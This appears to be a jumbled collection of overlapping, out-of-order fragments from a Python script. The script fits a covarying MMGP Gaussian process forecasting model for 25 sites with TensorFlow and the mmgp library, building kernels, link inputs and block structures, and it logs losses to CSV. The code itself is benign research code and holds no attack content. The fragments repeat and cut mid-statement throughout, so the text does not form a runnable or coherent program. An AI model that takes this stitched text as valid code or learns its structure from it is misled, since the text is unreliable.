created\") # model", "o, var_steps = VAR_STEPS, epochs = EPOCHS, batch_size = BATCH_SIZE,", "try: np.savetxt(\"nlpd_meanvar.csv\", nlpd_meanvar, delimiter=\",\") # N x 2P as for", "as np import pickle import pandas as pd import traceback", "# create 'within' kernel # kern lag_active_dims_s = [ []", "2.0, input_scaling = IS_ARD)] ) for i in range(output_dim) ]", "#block_struct nested list of grouping order weight_struct = [[] for", "in order - Xtr[:, 50] time index - link inputs", "print([e.eval(test.Y, ypred[0]) for e in error_rate_end]) predvar = [np.mean(np.mean(ypred[1]))] print(\"Final", "Sparse or full posterior covariance (when Kronecker posterior; set bool", "arrays are truncated to evenly split into batches of size", "covariance (when Kronecker posterior; set bool SPARSE_POST) Current Settings (sparse", "print('no. groups = ', len(block_struct), 'no. latent functions =', len([i", "outdir = '/experiments/results/p25_nonsparse_cmmgp/' try: os.makedirs(outdir) except FileExistsError: pass def get_inputs():", "accuracy measures at end of routine print(\"Final \", [e.get_name() for", "= False # set True for equivalent sparse scmmgp model", "block, set link_kernel[i] = link_inputs[i] = 1.0 See model class", "to first position link_inputs = [[] for _ in range(output_dim)]", "row.pop(i) # bring diag to pivot position weight_struct[i] = [row_0]", "and kernels set\") Z = init_z(data.X, NUM_INDUCING) print('inducing points set')", "open(os.path.join(dpath, dlinkfile), 'rb') as f: d_link = pickle.load(f) return d_all,", "input per group) # permute to bring diagonal to first", "prior Krhh (set bool SPARSE_PRIOR) - Diagonal or Kronecker-structured variational", "# order of block_struct is rows, node functions # lists", "= pickle.load(f) return d_all, d_link def init_z(train_inputs, num_inducing): # Initialize", "as pd import traceback import time import sklearn.cluster import csv", "bring diag to pivot position weight_struct[i] = [row_0] + row", "try: os.makedirs(outdir) except FileExistsError: pass def get_inputs(): \"\"\" inputsdict contains", "#same batchsize used for convenience np.savetxt(\"predictions.csv\", np.concatenate(ypred, axis=1), delimiter=\",\") if", "np.savetxt(\"nlpd_samples.csv\", nlpd_samples, delimiter=\",\") # NP x S (NxS concat for", "= mmgp.ExplicitSCMMGP(output_dim, likelihood, kern, kernlink, block_struct, Z, link_inputs, num_components=NUM_COMPONENTS, diag_post=DIAG_POST,", "x in list(range(output_dim * node_dim, output_dim * node_dim + output_dim))]", "nested list of grouping order Where functions [i] are independent", "import os import numpy as np import pickle import pandas", "option for non-diag post MAXTIME = 1200 print(\"settings done\") #", "print(\"start time = \", time.strftime('%X %x %Z')) m.fit(data, o, var_steps", "D = 51 - Xtr[:, :50] 2 recent lagged observations", "e in error_rate_end] + ['pred_var'], [e.eval(test.Y, ypred[0]) for e in", "m.nlpd_general(test.X, test.Y, batch_size = BATCH_SIZE)) error_rate_end = [losses.MeanAbsError(data.Dout)] # any", "sparse_prior=SPARSE_PRIOR, sparse_post=SPARSE_POST, num_samples=NUM_SAMPLES, predict_samples=PRED_SAMPLES) print(\"model set\") # initialise losses and", "recent lagged observations for each site in order - Xtr[:,", "[kernels.CompositeKernel('mul',[kernels.RadialBasisSlice(lag_dim, active_dims=lag_active_dims_s[i], std_dev = 1.0, white = 0.01, input_scaling =", "% m.nlpd_general(test.X, test.Y, batch_size = BATCH_SIZE)) error_rate_end = [losses.MeanAbsError(data.Dout)] #", "[[] for _ in range(output_dim)] for i in range(output_dim): idx", "Krhh. Inputs: Data training and test sets (dictionary pickle) Data", "= 4200, N_test = 2276, P = 25, D =", "for i in range(output_dim): idx = list(range(d_link.shape[0])) link_inputs[i] = d_link[[idx.pop(i)]", "link_inputs = link_inputs + [1.0 for i in range(output_dim)] #", "into batches of size = batchsize returns inputsdict, Xtr_link (ndarray,", "'p25_inputsdict.pickle' dlinkfile = 'p25_linkinputsarray.pickle' outdir = '/experiments/results/p25_nonsparse_cmmgp/' try: os.makedirs(outdir) except", "- Sparse or full posterior covariance (when Kronecker posterior; set", "DIAG_POST) - Sparse or full posterior covariance (when Kronecker posterior;", "= util.util.get_flags() BATCH_SIZE = FLAGS.batch_size LEARNING_RATE = FLAGS.learning_rate DISPLAY_STEP =", "nlpds for n,p,s # extract dataset d, d_link = get_inputs()", "inputs is a 25x2 array (link inputs repeated for every", "full posterior covariance (when Kronecker posterior; set bool SPARSE_POST) Current", "split into batches of size = batchsize returns inputsdict, Xtr_link", "bool SPARSE_PRIOR) - Diagonal or Kronecker-structured variational posterior covariance Sr", "row_0 = row.pop(i) # bring diag to pivot position weight_struct[i]", "for every group) with normalised lat,long for each site in", "\"\"\" import os import numpy as np import pickle import", "repeatedly but can have link input per group) # permute", "'within' kernel # kern lag_active_dims_s = [ [] for _", "= [kernels.CompositeKernel('mul',[kernels.RadialBasisSlice(lag_dim, active_dims=lag_active_dims_s[i], std_dev = 1.0, white = 0.01, input_scaling", "batch_size = BATCH_SIZE)) error_rate_end = [losses.MeanAbsError(data.Dout)] # any extra accuracy", "open(\"final_losses.csv\", 'w', newline='') as f: csv.writer(f).writerows([[e.get_name() for e in error_rate_end]", "in error_rate_end] + predvar]) print(\"finish time = \" + time.strftime('%X", "dfile = 'p25_inputsdict.pickle' dlinkfile = 'p25_linkinputsarray.pickle' outdir = '/experiments/results/p25_nonsparse_cmmgp/' try:", "inducing_locations = mini_batch.cluster_centers_ return inducing_locations FLAGS = util.util.get_flags() BATCH_SIZE =", "tf from mmgp import datasets from mmgp import losses from", "losses.RootMeanSqError(data.Dout) os.chdir(outdir) with open(\"log_results.csv\", 'w', newline='') as f: csv.writer(f).writerow(['epoch', 'fit_runtime',", "are independent i.e. in own block, set link_kernel[i] = link_inputs[i]", "is a 25x2 array (link inputs repeated for every group)", "inputsdict, Xtr_link (ndarray, shape = [P, D_link_features]) \"\"\" with open(os.path.join(dpath,", "position link_inputs = [[] for _ in range(output_dim)] for i", "[[] for _ in range(output_dim)] for i in range(output_dim): row", "groups = ', len(block_struct), 'no. latent functions =', len([i for", "variational posterior covariance Sr (set bool DIAG_POST) - Sparse or", "'rb') as f: d_all = pickle.load(f) with open(os.path.join(dpath, dlinkfile), 'rb')", "of block_struct is rows, node functions # lists required: block_struct,", "D_link_features]) \"\"\" with open(os.path.join(dpath, dfile), 'rb') as f: d_all =", "link_inputs[i] = d_link[[idx.pop(i)] + idx, :] link_inputs = link_inputs +", "',len(kernlink)) print('len kern ', len(kern)) print('no. groups = ', len(block_struct),", "in order Model Options: - Sparse or full x-function covariance", "except FileExistsError: pass def get_inputs(): \"\"\" inputsdict contains {'Yte': Yte,", "\", time.strftime('%X %x %Z')) m.fit(data, o, var_steps = VAR_STEPS, epochs", "weight_struct[i] = [row_0] + row nodes = [[x] for x", "P=Q): block all w.1, w.2 etc, leave f independent #", "tensorflow as tf from mmgp import datasets from mmgp import", "(sparse covarying mmgp model with sparse Kronecker posterior): DIAG_POST =", "i in range(output_dim): idx = list(range(d_link.shape[0])) link_inputs[i] = d_link[[idx.pop(i)] +", "f: d_all = pickle.load(f) with open(os.path.join(dpath, dlinkfile), 'rb') as f:", "each site in order Model Options: - Sparse or full", "'Xte': Xte} where values are np.arrays np. arrays are truncated", "lists required: block_struct, link_inputs, kern_link, kern #block_struct nested list of", "in range(output_dim)] for i in range(output_dim): idx = list(range(d_link.shape[0])) link_inputs[i]", "input_scaling = IS_ARD), kernels.PeriodicSliceFixed(1, active_dims=[Xtr.shape[1]-1], lengthscale=0.5, std_dev=1.0, period = 144)", "'rb') as f: d_link = pickle.load(f) return d_all, d_link def", "lag_active_dims_s[i] = list(range(lag_dim*i, lag_dim*(i+1))) k_rows = [kernels.CompositeKernel('mul',[kernels.RadialBasisSlice(lag_dim, active_dims=lag_active_dims_s[i], std_dev =", "likelihood = likelihoods.CovaryingRegressionNetwork(output_dim, node_dim, std_dev = 0.2) # p, q,", "sparse scmmgp model SPARSE_POST = True Note on specifying group", "range(output_dim)] for i in range(output_dim): lag_active_dims_s[i] = list(range(lag_dim*i, lag_dim*(i+1))) k_rows", "-*- \"\"\" Script to execute example covarying MMGP regression forecasting", "\"\"\" inputsdict contains {'Yte': Yte, 'Ytr': Ytr, 'Xtr': Xtr, 'Xte':", "lagged observations for each site in order - Xtr[:, 50]", "for i in range(output_dim)] k_f = [kernels.RadialBasisSlice(lag_dim, active_dims=lag_active_dims_s[i], std_dev =", "'raw_likelihood_params', 'raw_weights']) with open(\"log_comp_time.csv\", 'w', newline='') as f: csv.writer(f).writerow(['epoch', 'batch_time',", "= 25, D = 51 - Xtr[:, :50] 2 recent", "nlpd_samples, delimiter=\",\") # NP x S (NxS concat for P", "blocks, independent nodes # create 'between' kernel list klink_rows =", "NUM_COMPONENTS = FLAGS.num_components IS_ARD = FLAGS.is_ard TOL = FLAGS.opt_tol VAR_STEPS", "range(output_dim)] kern = k_rows + k_f print('len link_inputs ',len(link_inputs)) print('len", "open(os.path.join(dpath, dfile), 'rb') as f: d_all = pickle.load(f) with open(os.path.join(dpath,", "o = tf.train.AdamOptimizer(LEARNING_RATE, beta1=0.9,beta2=0.99) print(\"start time = \", time.strftime('%X %x", "Kronecker-structured variational posterior covariance Sr (set bool DIAG_POST) - Sparse", "(when Kronecker posterior; set bool SPARSE_POST) Current Settings (sparse covarying", "inducing points using clustering. mini_batch = sklearn.cluster.MiniBatchKMeans(num_inducing) cluster_indices = mini_batch.fit_predict(train_inputs)", "= BATCH_SIZE)) error_rate_end = [losses.MeanAbsError(data.Dout)] # any extra accuracy measures", "# extract dataset d, d_link = get_inputs() Ytr, Yte, Xtr,", "sparse_post=SPARSE_POST, num_samples=NUM_SAMPLES, predict_samples=PRED_SAMPLES) print(\"model set\") # initialise losses and logging", "- Xtr[:, :50] 2 recent lagged observations for each site", "node_dim, std_dev = 0.2) # p, q, lik_noise print(\"likelihood and", "Diagonal or Kronecker-structured variational posterior covariance Sr (set bool DIAG_POST)", "order - Xtr[:, 50] time index - link inputs is", "= 0.01, input_scaling = IS_ARD), kernels.PeriodicSliceFixed(1, active_dims=[Xtr.shape[1]-1], lengthscale=0.5, std_dev=1.0, period", "%Z')) m.fit(data, o, var_steps = VAR_STEPS, epochs = EPOCHS, batch_size", "with open(os.path.join(dpath, dfile), 'rb') as f: d_all = pickle.load(f) with", "for convenience np.savetxt(\"predictions.csv\", np.concatenate(ypred, axis=1), delimiter=\",\") if save_nlpds == True:", "tasks) except: print('nlpd_samples export fail') print(\"Final \" + error_rate.get_name() +", "batch_size = BATCH_SIZE) try: np.savetxt(\"nlpd_meanvar.csv\", nlpd_meanvar, delimiter=\",\") # N x", "f independent # order of block_struct is rows, node functions", "IS_ARD)] ) for i in range(output_dim) ] klink_f = [1.0", "'raw_weights']) with open(\"log_comp_time.csv\", 'w', newline='') as f: csv.writer(f).writerow(['epoch', 'batch_time', 'nelbo_time',", "Options: - Sparse or full x-function covariance prior Krhh (set", "or full posterior covariance (when Kronecker posterior; set bool SPARSE_POST)", "= IS_ARD)] ) for i in range(output_dim) ] klink_f =", "+ klink_f # create 'within' kernel # kern lag_active_dims_s =", "e in error_rate_end] + predvar]) print(\"finish time = \" +", "batch_size = BATCH_SIZE, display_step=DISPLAY_STEP, test = test, loss = error_rate,", "N_test = 2276, P = 25, D = 51 -", "0.01, input_scaling = IS_ARD), kernels.PeriodicSliceFixed(1, active_dims=[Xtr.shape[1]-1], lengthscale=0.5, std_dev=1.0, period =", "p, q, lik_noise print(\"likelihood and kernels set\") Z = init_z(data.X,", "evenly split into batches of size = batchsize returns inputsdict,", "for F: Grouping occurs via block_struct, a nested list of", "klink_rows + klink_f # create 'within' kernel # kern lag_active_dims_s", "truncated to evenly split into batches of size = batchsize", "d_link def init_z(train_inputs, num_inducing): # Initialize inducing points using clustering.", "contains {'Yte': Yte, 'Ytr': Ytr, 'Xtr': Xtr, 'Xte': Xte} where", "beta1=0.9,beta2=0.99) print(\"start time = \", time.strftime('%X %x %Z')) m.fit(data, o,", "in error_rate_end]) predvar = [np.mean(np.mean(ypred[1]))] print(\"Final predvar \", predvar) with", "set bool SPARSE_POST) Current Settings (sparse covarying mmgp model with", "[np.mean(np.mean(ypred[1]))] print(\"Final predvar \", predvar) with open(\"final_losses.csv\", 'w', newline='') as", "50] time index - link inputs is a 25x2 array", "save_nlpds = False # If True saves samples of nlpds", "= '/experiments/datasets/' dfile = 'p25_inputsdict.pickle' dlinkfile = 'p25_linkinputsarray.pickle' outdir =", "IS_ARD) for i in range(output_dim)] kern = k_rows + k_f", "active_dims=[0,1], lengthscale = 2.0, input_scaling = IS_ARD)] ) for i", "# kern lag_active_dims_s = [ [] for _ in range(output_dim)]", "error_rate, tolerance = TOL, max_time=MAXTIME ) print(\"optimisation complete\") # export", "model with sparse Kronecker posterior): DIAG_POST = False SPARSE_PRIOR =", "# If True saves samples of nlpds for n,p,s #", "test = datasets.DataSet(Xte.astype(np.float32), Yte.astype(np.float32), shuffle=False) print(\"dataset created\") # model config", "i.e. in own block, set link_kernel[i] = link_inputs[i] = 1.0", "= FLAGS.learning_rate DISPLAY_STEP = FLAGS.display_step EPOCHS = FLAGS.n_epochs NUM_SAMPLES =", ":] link_inputs = link_inputs + [1.0 for i in range(output_dim)]", "active_dims=lag_active_dims_s[i], std_dev = 1.0, white = 0.01, input_scaling = IS_ARD)", "values are np.arrays np. arrays are truncated to evenly split", "'gen_nlpd_time', error_rate.get_name()+'_time']) # optimise o = tf.train.AdamOptimizer(LEARNING_RATE, beta1=0.9,beta2=0.99) print(\"start time", "with open(\"log_comp_time.csv\", 'w', newline='') as f: csv.writer(f).writerow(['epoch', 'batch_time', 'nelbo_time', 'pred_time',", "fail') try: np.savetxt(\"nlpd_samples.csv\", nlpd_samples, delimiter=\",\") # NP x S (NxS", "m.fit(data, o, var_steps = VAR_STEPS, epochs = EPOCHS, batch_size =", "every group) with normalised lat,long for each site in order", "'Xtr': Xtr, 'Xte': Xte} where values are np.arrays np. arrays", "axis=1), delimiter=\",\") if save_nlpds == True: nlpd_samples, nlpd_meanvar = m.nlpd_samples(test.X,", "= list(range(lag_dim*i, lag_dim*(i+1))) k_rows = [kernels.CompositeKernel('mul',[kernels.RadialBasisSlice(lag_dim, active_dims=lag_active_dims_s[i], std_dev = 1.0,", "order Model Options: - Sparse or full x-function covariance prior", "equivalent sparse scmmgp model SPARSE_POST = True Note on specifying", "FLAGS.is_ard TOL = FLAGS.opt_tol VAR_STEPS = FLAGS.var_steps DIAG_POST = False", "diagonal to first position link_inputs = [[] for _ in", "first position link_inputs = [[] for _ in range(output_dim)] for", "print(\"likelihood and kernels set\") Z = init_z(data.X, NUM_INDUCING) print('inducing points", "# create link inputs (link inputs used repeatedly but can", "kern, kernlink, block_struct, Z, link_inputs, num_components=NUM_COMPONENTS, diag_post=DIAG_POST, sparse_prior=SPARSE_PRIOR, sparse_post=SPARSE_POST, num_samples=NUM_SAMPLES,", "used for convenience np.savetxt(\"predictions.csv\", np.concatenate(ypred, axis=1), delimiter=\",\") if save_nlpds ==", "at end of routine print(\"Final \", [e.get_name() for e in", "True Note on specifying group structure for F: Grouping occurs", "diag to pivot position weight_struct[i] = [row_0] + row nodes", "grouping order Where functions [i] are independent i.e. in own", "optimise o = tf.train.AdamOptimizer(LEARNING_RATE, beta1=0.9,beta2=0.99) print(\"start time = \", time.strftime('%X", "as f: d_link = pickle.load(f) return d_all, d_link def init_z(train_inputs,", "latent functions', node_dim*(output_dim+1)) likelihood = likelihoods.CovaryingRegressionNetwork(output_dim, node_dim, std_dev = 0.2)", "= EPOCHS, batch_size = BATCH_SIZE, display_step=DISPLAY_STEP, test = test, loss", "functions', node_dim*(output_dim+1)) likelihood = likelihoods.CovaryingRegressionNetwork(output_dim, node_dim, std_dev = 0.2) #", "1.0, white = 0.01, input_scaling = IS_ARD) for i in", "def get_inputs(): \"\"\" inputsdict contains {'Yte': Yte, 'Ytr': Ytr, 'Xtr':", "BATCH_SIZE) try: np.savetxt(\"nlpd_meanvar.csv\", nlpd_meanvar, delimiter=\",\") # N x 2P as", "functions =', len([i for b in block_struct for i in", "(link inputs repeated for every group) with normalised lat,long for", "covariance prior Krhh (set bool SPARSE_PRIOR) - Diagonal or Kronecker-structured", "to execute example covarying MMGP regression forecasting model with full", "dfile), 'rb') as f: d_all = pickle.load(f) with open(os.path.join(dpath, dlinkfile),", "nodes # create link inputs (link inputs used repeatedly but", "import pandas as pd import traceback import time import sklearn.cluster", "import time import sklearn.cluster import csv import sys import mmgp", "with open(\"log_results.csv\", 'w', newline='') as f: csv.writer(f).writerow(['epoch', 'fit_runtime', 'nelbo', error_rate.get_name(),'generalised_nlpd'])", ":50] 2 recent lagged observations for each site in order", "print(\"Final \" + error_rate.get_name() + \"=\" + \"%.4f\" % error_rate.eval(test.Y,", "Q output_dim = 25 #P node_dim = 25 #Q lag_dim", "test, loss = error_rate, tolerance = TOL, max_time=MAXTIME ) print(\"optimisation", "for _ in range(output_dim)] for i in range(output_dim): row =", "i in range(output_dim): lag_active_dims_s[i] = list(range(lag_dim*i, lag_dim*(i+1))) k_rows = [kernels.CompositeKernel('mul',[kernels.RadialBasisSlice(lag_dim,", "VAR_STEPS, epochs = EPOCHS, batch_size = BATCH_SIZE, display_step=DISPLAY_STEP, test =", "i in range(node_dim)] kernlink = klink_rows + klink_f # create", "export final predicted values and loss metrics ypred = m.predict(test.X,", "= FLAGS.display_step EPOCHS = FLAGS.n_epochs NUM_SAMPLES = FLAGS.mc_train PRED_SAMPLES =", "- N_train = 4200, N_test = 2276, P = 25,", "in error_rate_end]) print([e.eval(test.Y, ypred[0]) for e in error_rate_end]) predvar =", "mini_batch.fit_predict(train_inputs) inducing_locations = mini_batch.cluster_centers_ return inducing_locations FLAGS = util.util.get_flags() BATCH_SIZE", "= BATCH_SIZE) try: np.savetxt(\"nlpd_meanvar.csv\", nlpd_meanvar, delimiter=\",\") # N x 2P", "example covarying MMGP regression forecasting model with full Krhh. Inputs:", "independent i.e. in own block, set link_kernel[i] = link_inputs[i] =", "i in range(output_dim): row = list(range(i, i+output_dim*(node_dim-1)+1, output_dim)) row_0 =", "coding: utf-8 -*- \"\"\" Script to execute example covarying MMGP", "where values are np.arrays np. arrays are truncated to evenly", "block_struct is rows, node functions # lists required: block_struct, link_inputs,", "= [row_0] + row nodes = [[x] for x in", "nodes = [[x] for x in list(range(output_dim * node_dim, output_dim", "lengthscale=1.0, white=0.01, input_scaling = IS_ARD), kernels.CompactSlice(2, active_dims=[0,1], lengthscale = 2.0,", "for e in error_rate_end] + ['pred_var'], [e.eval(test.Y, ypred[0]) for e", "get_inputs(): \"\"\" inputsdict contains {'Yte': Yte, 'Ytr': Ytr, 'Xtr': Xtr,", "kern lag_active_dims_s = [ [] for _ in range(output_dim)] for", "FLAGS.num_components IS_ARD = FLAGS.is_ard TOL = FLAGS.opt_tol VAR_STEPS = FLAGS.var_steps", "shape = [P, D_link_features]) \"\"\" with open(os.path.join(dpath, dfile), 'rb') as", "functions # lists required: block_struct, link_inputs, kern_link, kern #block_struct nested", "d_all = pickle.load(f) with open(os.path.join(dpath, dlinkfile), 'rb') as f: d_link", "bool SPARSE_POST) Current Settings (sparse covarying mmgp model with sparse", "= list(range(d_link.shape[0])) link_inputs[i] = d_link[[idx.pop(i)] + idx, :] link_inputs =", "False SPARSE_POST = True # option for non-diag post MAXTIME", "for i in range(output_dim): row = list(range(i, i+output_dim*(node_dim-1)+1, output_dim)) row_0", "mmgp import likelihoods from mmgp import kernels import tensorflow as", "If True saves samples of nlpds for n,p,s # extract", "structure for F: Grouping occurs via block_struct, a nested list", "'raw_kernel_params', 'raw_kernlink_params', 'raw_likelihood_params', 'raw_weights']) with open(\"log_comp_time.csv\", 'w', newline='') as f:", "own block, set link_kernel[i] = link_inputs[i] = 1.0 See model", "block all w.1, w.2 etc, leave f independent # order", "[1.0 for i in range(node_dim)] kernlink = klink_rows + klink_f", "using clustering. mini_batch = sklearn.cluster.MiniBatchKMeans(num_inducing) cluster_indices = mini_batch.fit_predict(train_inputs) inducing_locations =", "m = mmgp.ExplicitSCMMGP(output_dim, likelihood, kern, kernlink, block_struct, Z, link_inputs, num_components=NUM_COMPONENTS,", "EPOCHS = FLAGS.n_epochs NUM_SAMPLES = FLAGS.mc_train PRED_SAMPLES = FLAGS.mc_test NUM_INDUCING", "for _ in range(output_dim)] for i in range(output_dim): idx =", "posterior covariance Sr (set bool DIAG_POST) - Sparse or full", "details. \"\"\" import os import numpy as np import pickle", "= FLAGS.mc_train PRED_SAMPLES = FLAGS.mc_test NUM_INDUCING = FLAGS.n_inducing NUM_COMPONENTS =", "print('len kernlink ',len(kernlink)) print('len kern ', len(kern)) print('no. groups =", "'batch_time', 'nelbo_time', 'pred_time', 'gen_nlpd_time', error_rate.get_name()+'_time']) # optimise o = tf.train.AdamOptimizer(LEARNING_RATE,", "np.arrays np. arrays are truncated to evenly split into batches", "x-function covariance prior Krhh (set bool SPARSE_PRIOR) - Diagonal or", "on specifying group structure for F: Grouping occurs via block_struct,", "link_inputs[i] = 1.0 See model class preamble and example below", "os import numpy as np import pickle import pandas as", "output_dim * node_dim + output_dim))] block_struct = weight_struct + nodes", "\" + \"generalised_nlpd\" + \"=\" + \"%.4f\" % m.nlpd_general(test.X, test.Y,", "'w', newline='') as f: csv.writer(f).writerow(['epoch', 'fit_runtime', 'nelbo', error_rate.get_name(),'generalised_nlpd']) with open(\"log_params.csv\",", "block_struct, Z, link_inputs, num_components=NUM_COMPONENTS, diag_post=DIAG_POST, sparse_prior=SPARSE_PRIOR, sparse_post=SPARSE_POST, num_samples=NUM_SAMPLES, predict_samples=PRED_SAMPLES) print(\"model", "inputsdict contains {'Yte': Yte, 'Ytr': Ytr, 'Xtr': Xtr, 'Xte': Xte}", "kernels set\") Z = init_z(data.X, NUM_INDUCING) print('inducing points set') m", "Grouping occurs via block_struct, a nested list of grouping order", "DIAG_POST = False SPARSE_PRIOR = False # set True for", "points set') m = mmgp.ExplicitSCMMGP(output_dim, likelihood, kern, kernlink, block_struct, Z,", "m.nlpd_samples(test.X, test.Y, batch_size = BATCH_SIZE) try: np.savetxt(\"nlpd_meanvar.csv\", nlpd_meanvar, delimiter=\",\") #", "+ idx, :] link_inputs = link_inputs + [1.0 for i", "mmgp from mmgp import likelihoods from mmgp import kernels import", "# create 'between' kernel list klink_rows = [kernels.CompositeKernel('mul',[kernels.RadialBasis(2, std_dev=2.0, lengthscale=1.0,", "= [[x] for x in list(range(output_dim * node_dim, output_dim *", "kernels import tensorflow as tf from mmgp import datasets from", "occurs via block_struct, a nested list of grouping order Where", "utf-8 -*- \"\"\" Script to execute example covarying MMGP regression", "FLAGS.batch_size LEARNING_RATE = FLAGS.learning_rate DISPLAY_STEP = FLAGS.display_step EPOCHS = FLAGS.n_epochs", "util dpath = '/experiments/datasets/' dfile = 'p25_inputsdict.pickle' dlinkfile = 'p25_linkinputsarray.pickle'", "# p, q, lik_noise print(\"likelihood and kernels set\") Z =", "array (link inputs repeated for every group) with normalised lat,long", "pivot position weight_struct[i] = [row_0] + row nodes = [[x]", "Yte, 'Ytr': Ytr, 'Xtr': Xtr, 'Xte': Xte} where values are", "(NxS concat for P tasks) except: print('nlpd_samples export fail') print(\"Final", "= [1.0 for i in range(node_dim)] kernlink = klink_rows +", "]) for i in range(output_dim)] k_f = [kernels.RadialBasisSlice(lag_dim, active_dims=lag_active_dims_s[i], std_dev", "and example below for further details. \"\"\" import os import", "d['Xtr'], d['Xte'] data = datasets.DataSet(Xtr.astype(np.float32), Ytr.astype(np.float32), shuffle=False) test = datasets.DataSet(Xte.astype(np.float32),", "posterior covariance (when Kronecker posterior; set bool SPARSE_POST) Current Settings", "output_dim))] block_struct = weight_struct + nodes # create link inputs", "post MAXTIME = 1200 print(\"settings done\") # define GPRN P", "group structure for F: Grouping occurs via block_struct, a nested", "for i in range(output_dim) ] klink_f = [1.0 for i", "sys import mmgp from mmgp import likelihoods from mmgp import", "from mmgp import kernels import tensorflow as tf from mmgp", "= list(range(i, i+output_dim*(node_dim-1)+1, output_dim)) row_0 = row.pop(i) # bring diag", "# bring diag to pivot position weight_struct[i] = [row_0] +", "node functions # lists required: block_struct, link_inputs, kern_link, kern #block_struct", "= 2 save_nlpds = False # If True saves samples", "std_dev=1.0, period = 144) ]) for i in range(output_dim)] k_f", "lat,long for each site in order Model Options: - Sparse", "with open(\"final_losses.csv\", 'w', newline='') as f: csv.writer(f).writerows([[e.get_name() for e in", "covarying MMGP regression forecasting model with full Krhh. Inputs: Data", "Kronecker posterior; set bool SPARSE_POST) Current Settings (sparse covarying mmgp", "display_step=DISPLAY_STEP, test = test, loss = error_rate, tolerance = TOL,", "return d_all, d_link def init_z(train_inputs, num_inducing): # Initialize inducing points", "d, d_link = get_inputs() Ytr, Yte, Xtr, Xte = d['Ytr'],", "print('len link_inputs ',len(link_inputs)) print('len kernlink ',len(kernlink)) print('len kern ', len(kern))", "nested list of grouping order weight_struct = [[] for _", "= d_link[[idx.pop(i)] + idx, :] link_inputs = link_inputs + [1.0", "points using clustering. mini_batch = sklearn.cluster.MiniBatchKMeans(num_inducing) cluster_indices = mini_batch.fit_predict(train_inputs) inducing_locations", "link_inputs, num_components=NUM_COMPONENTS, diag_post=DIAG_POST, sparse_prior=SPARSE_PRIOR, sparse_post=SPARSE_POST, num_samples=NUM_SAMPLES, predict_samples=PRED_SAMPLES) print(\"model set\") #", "'/experiments/results/p25_nonsparse_cmmgp/' try: os.makedirs(outdir) except FileExistsError: pass def get_inputs(): \"\"\" inputsdict", "[P, D_link_features]) \"\"\" with open(os.path.join(dpath, dfile), 'rb') as f: d_all", "# Initialize inducing points using clustering. mini_batch = sklearn.cluster.MiniBatchKMeans(num_inducing) cluster_indices", "n,p,s # extract dataset d, d_link = get_inputs() Ytr, Yte,", "# lists required: block_struct, link_inputs, kern_link, kern #block_struct nested list", "= IS_ARD) for i in range(output_dim)] kern = k_rows +", "FLAGS.var_steps DIAG_POST = False SPARSE_PRIOR = False SPARSE_POST = True", "0.01, input_scaling = IS_ARD) for i in range(output_dim)] kern =", "of routine print(\"Final \", [e.get_name() for e in error_rate_end]) print([e.eval(test.Y,", "print(\"settings done\") # define GPRN P and Q output_dim =", "w.2 etc, leave f independent # order of block_struct is", "kernlink ',len(kernlink)) print('len kern ', len(kern)) print('no. groups = ',", "= TOL, max_time=MAXTIME ) print(\"optimisation complete\") # export final predicted", "row = list(range(i, i+output_dim*(node_dim-1)+1, output_dim)) row_0 = row.pop(i) # bring", "delimiter=\",\") # N x 2P as for predictions except: print('nlpd_meanvar", "np import pickle import pandas as pd import traceback import", "except: print('nlpd_meanvar export fail') try: np.savetxt(\"nlpd_samples.csv\", nlpd_samples, delimiter=\",\") # NP", "for 25 sites for 15 minute forecast - N_train =", "saves samples of nlpds for n,p,s # extract dataset d,", "range(node_dim)] kernlink = klink_rows + klink_f # create 'within' kernel", "concat for P tasks) except: print('nlpd_samples export fail') print(\"Final \"", "dlinkfile = 'p25_linkinputsarray.pickle' outdir = '/experiments/results/p25_nonsparse_cmmgp/' try: os.makedirs(outdir) except FileExistsError:", "error_rate.get_name()+'_time']) # optimise o = tf.train.AdamOptimizer(LEARNING_RATE, beta1=0.9,beta2=0.99) print(\"start time =", "f: csv.writer(f).writerow(['epoch', 'raw_kernel_params', 'raw_kernlink_params', 'raw_likelihood_params', 'raw_weights']) with open(\"log_comp_time.csv\", 'w', newline='')", "+ row nodes = [[x] for x in list(range(output_dim *", "pickle.load(f) return d_all, d_link def init_z(train_inputs, num_inducing): # Initialize inducing", "= batchsize returns inputsdict, Xtr_link (ndarray, shape = [P, D_link_features])", "'between' kernel list klink_rows = [kernels.CompositeKernel('mul',[kernels.RadialBasis(2, std_dev=2.0, lengthscale=1.0, white=0.01, input_scaling", "active_dims=lag_active_dims_s[i], std_dev = 1.0, white = 0.01, input_scaling = IS_ARD),", "= [np.mean(np.mean(ypred[1]))] print(\"Final predvar \", predvar) with open(\"final_losses.csv\", 'w', newline='')", "range(output_dim): idx = list(range(d_link.shape[0])) link_inputs[i] = d_link[[idx.pop(i)] + idx, :]", "full Krhh. Inputs: Data training and test sets (dictionary pickle)", "samples of nlpds for n,p,s # extract dataset d, d_link", "open(\"log_results.csv\", 'w', newline='') as f: csv.writer(f).writerow(['epoch', 'fit_runtime', 'nelbo', error_rate.get_name(),'generalised_nlpd']) with", "fail') print(\"Final \" + error_rate.get_name() + \"=\" + \"%.4f\" %", "np.savetxt(\"nlpd_meanvar.csv\", nlpd_meanvar, delimiter=\",\") # N x 2P as for predictions", "= [losses.MeanAbsError(data.Dout)] # any extra accuracy measures at end of", "routine print(\"Final \", [e.get_name() for e in error_rate_end]) print([e.eval(test.Y, ypred[0])", "print(\"Final predvar \", predvar) with open(\"final_losses.csv\", 'w', newline='') as f:", "measures at end of routine print(\"Final \", [e.get_name() for e", "] klink_f = [1.0 for i in range(node_dim)] kernlink =", "and loss metrics ypred = m.predict(test.X, batch_size = BATCH_SIZE) #same", "d_link[[idx.pop(i)] + idx, :] link_inputs = link_inputs + [1.0 for", "= 144) ]) for i in range(output_dim)] k_f = [kernels.RadialBasisSlice(lag_dim,", "FLAGS.learning_rate DISPLAY_STEP = FLAGS.display_step EPOCHS = FLAGS.n_epochs NUM_SAMPLES = FLAGS.mc_train", "used repeatedly but can have link input per group) #", "= FLAGS.opt_tol VAR_STEPS = FLAGS.var_steps DIAG_POST = False SPARSE_PRIOR =", "25 sites for 15 minute forecast - N_train = 4200,", "P tasks) except: print('nlpd_samples export fail') print(\"Final \" + error_rate.get_name()", "= link_inputs + [1.0 for i in range(output_dim)] # for", "'nelbo_time', 'pred_time', 'gen_nlpd_time', error_rate.get_name()+'_time']) # optimise o = tf.train.AdamOptimizer(LEARNING_RATE, beta1=0.9,beta2=0.99)", "mmgp import kernels import tensorflow as tf from mmgp import", "2 save_nlpds = False # If True saves samples of", "in range(output_dim)] kern = k_rows + 